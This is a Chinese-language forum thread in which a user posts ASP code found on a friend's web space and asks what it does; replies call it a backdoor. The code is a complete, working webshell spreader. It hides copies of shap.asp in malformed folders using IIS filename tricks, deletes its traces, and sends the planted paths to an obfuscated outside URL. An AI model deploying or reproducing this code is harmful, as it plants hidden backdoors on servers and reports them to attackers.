K9 通用版 博客版 主题版 地方门户版 企业版 |   企业(ASP) 分类 使用 分享 疑问 模板 建议 帮助 错误 其他
+新建主题 [Ajax]
填写帐号密码即可完成注册
+新建话题 最新回复排序 最新主题排序 精华帖子

看下这段代码是干嘛的?

1Next >

yker 发表于:10-10-13 17:53 编辑于:10-13 17:54 [添加收藏] 楼主 [回复] #Top#
yker 人气:51 积分:748 金币:2193
EST团队 KC元老

一个朋友的空间里有这些文件,,,还出现了好多畸形文件夹,。。。

不过都已经清理掉了。。

 

<% 
dim myfilename 
dim mylocalpath
dim rnddirname,rnddirname2
dim dir1,dir2
const cutpursefilename = "shap.asp"
const copyfilename="0.gov.cn.asp;.html|1.gov.cn.asp;.html|2.gov.cn.asp;.html|3.gov.cn.asp;.html|4.gov.cn.asp;.html|5.gov.cn.asp;.html|6.gov.cn.asp;.html|0.edu.cn.asp;.html|1.edu.cn.asp;.html|2.edu.cn.asp;.html|3.edu.cn.asp;.html|4.edu.cn.asp;.html|5.edu.cn.asp;.html|6.edu.cn.asp;.html|0.bbs.cn.asp;.html|1.bbs.cn.asp;.html|2.bbs.cn.asp;.html|3.bbs.cn.asp;.html|4.bbs.cn.asp;.html|5.bbs.cn.asp;.html|6.bbs.cn.asp;.html"
dim saveurl,surl
dim str1, shtml, i, k, p, p1
saveurl = Chr(87 xor 63) & Chr(995 xor 919) & Chr(777 xor 893) & Chr(179 xor 195) & Chr(985 xor 995) & Chr(809 xor 774) & Chr(83 xor 124) & Chr(280 xor 364) & Chr(943 xor 897) & Chr(936 xor 966) & Chr(693 xor 732) & Chr(432 xor 470) & Chr(951 xor 978) & Chr(386 xor 492) & Chr(625 xor 534) & Chr(898 xor 940) & Chr(545 xor 584) & Chr(877 xor 771) & Chr(608 xor 518) & Chr(686 xor 705) & Chr(189 xor 135) & Chr(953 xor 897) & Chr(904 xor 952) & Chr(788 xor 804) & Chr(147 xor 188) & Chr(90 xor 41) & Chr(524 xor 621) & Chr(940 xor 986) & Chr(418 xor 455) & Chr(530 xor 544) & Chr(456 xor 486) & Chr(678 xor 711) & Chr(739 xor 656) & Chr(31 xor 111)
myfilename = request.servervariables("script_name")
dir1=trim(request("dir1"))
dir2=trim(request("dir2"))
k = Instrrev(myfilename,"/")
if k > 0 then myfilename = right(myfilename,len(myfilename)-k)
mylocalpath = getmylocalpath
if len(dir1)=0 then
rnddirname = getrndname(5,10)
else
rnddirname = dir1
end if
rnddirname = rnddirname & ".."
if len(dir1)>0 or (createdirpath(mylocalpath & rnddirname) = true and len(dir1)=0) then
if len(dir2)=0 then
rnddirname2 = getrndname(5,10)
else
rnddirname2 = dir2
end if
rnddirname2 = rnddirname2 & ""
if len(dir2)>0 or (createdirpath(mylocalpath & rnddirname & rnddirname2) and len(dir2)=0) then
p=split(cutpursefilename,"|")
p1=split(copyfilename,"|")
for i=0 to ubound(p)
str1=trim(p(i))
if len(str1)>0 then
for i1=0 to ubound(p1)
call copyfiles(mylocalpath & str1, mylocalpath & rnddirname & rnddirname2 & p1(i1),0)
next
call copyfiles(mylocalpath & str1, mylocalpath & rnddirname & rnddirname2 & str1,1)
end if
next
rnddirname = replace(rnddirname,"..","./")
rnddirname2 = replace(rnddirname2,"","/")
surl = saveurl & _
"?z="& request.servervariables("http_host") & _
"&u=" & getmyurl & rnddirname & rnddirname2
k=getrnd(0,ubound(p))
response.redirect surl
end if
end if
public function createdirpath(Byval path)
dim fso
on error resume next
set fso = createobject("scripting.filesystemobject")
createdirpath = false
if fso.folderexists(path) = false then
fso.createfolder(path)
end if
createdirpath = true
on error goto 0
set fso=nothing
end function
public function copyfiles(byval formpath, byval topath,byval bdel)
dim fso,fso1
set fso = createobject("scripting.filesystemobject")
on error resume next
Set fso1=fso.GetFile(formpath)
fso1.attributes=1
fso.copyfile formpath, topath
fso1.attributes=0
if fso.fileexists(topath) then
copyfiles = true
if bdel=1 then
fso.deletefile formpath
fso.deletefile mylocalpath & myfilename
end if
else
copyfiles = false
end if
on error goto 0
set fso = nothing
set fso1 = nothing
end function
public function getrndname(min, max)
dim i,k,p
if max <= 0 then exit function
p = split("")
for i = Asc("A") to Asc("Z")
redim preserve p(uBound(p) + 1)
p(uBound(p)) = chr(i)
next
for i = asc(0) To asc(9)
redim preserve p(ubound(p) + 1)
p(ubound(p)) = Chr(i)
next
k = getrnd(min, max)
for i = 1 to k
getrndname = getrndname & p(getrnd(0, uBound(p)))
next
end function
public function getrnd(min, max)
randomize
getrnd = Int((max - min + 1) * rnd + min)
end function
public function getmylocalpath()
dim k
getmylocalpath = request.servervariables("path_translated")
k = Instrrev(getmylocalpath,"")
if k > 0 then getmylocalpath = left(getmylocalpath,k)
end function
public function getmyurl()
getmyurl = "http://" & _
request.servervariables("http_host") & _
mid(request.servervariables("url"), 1, Instrrev(request.servervariables("url"), "/"))
end function
%>

z 发表于:10-10-13 18:09 沙发 [回复] #Top#
z 人气:9 积分:481 金币:86
管理团队
估计离不开后门的份
梦天 发表于:10-10-13 18:12 编辑于:10-13 18:14 板凳 [回复] #Top#
梦天 人气:791 积分:3251 金币:21509
EST团队 灌水狂人

中了一个蛋..哈哈

1Next >

发表回复

帐号 匿名发布 审核后可见 [加载完整在线编辑器]
内容
验证码
KingCMS 内容管理系统

关于我们 联系我们 广告报价 付款方式 站点导航

Copyright © 2004-2015 Focuznet All rights reserved.

广州唯众网络科技有限公司 粤ICP备08008106号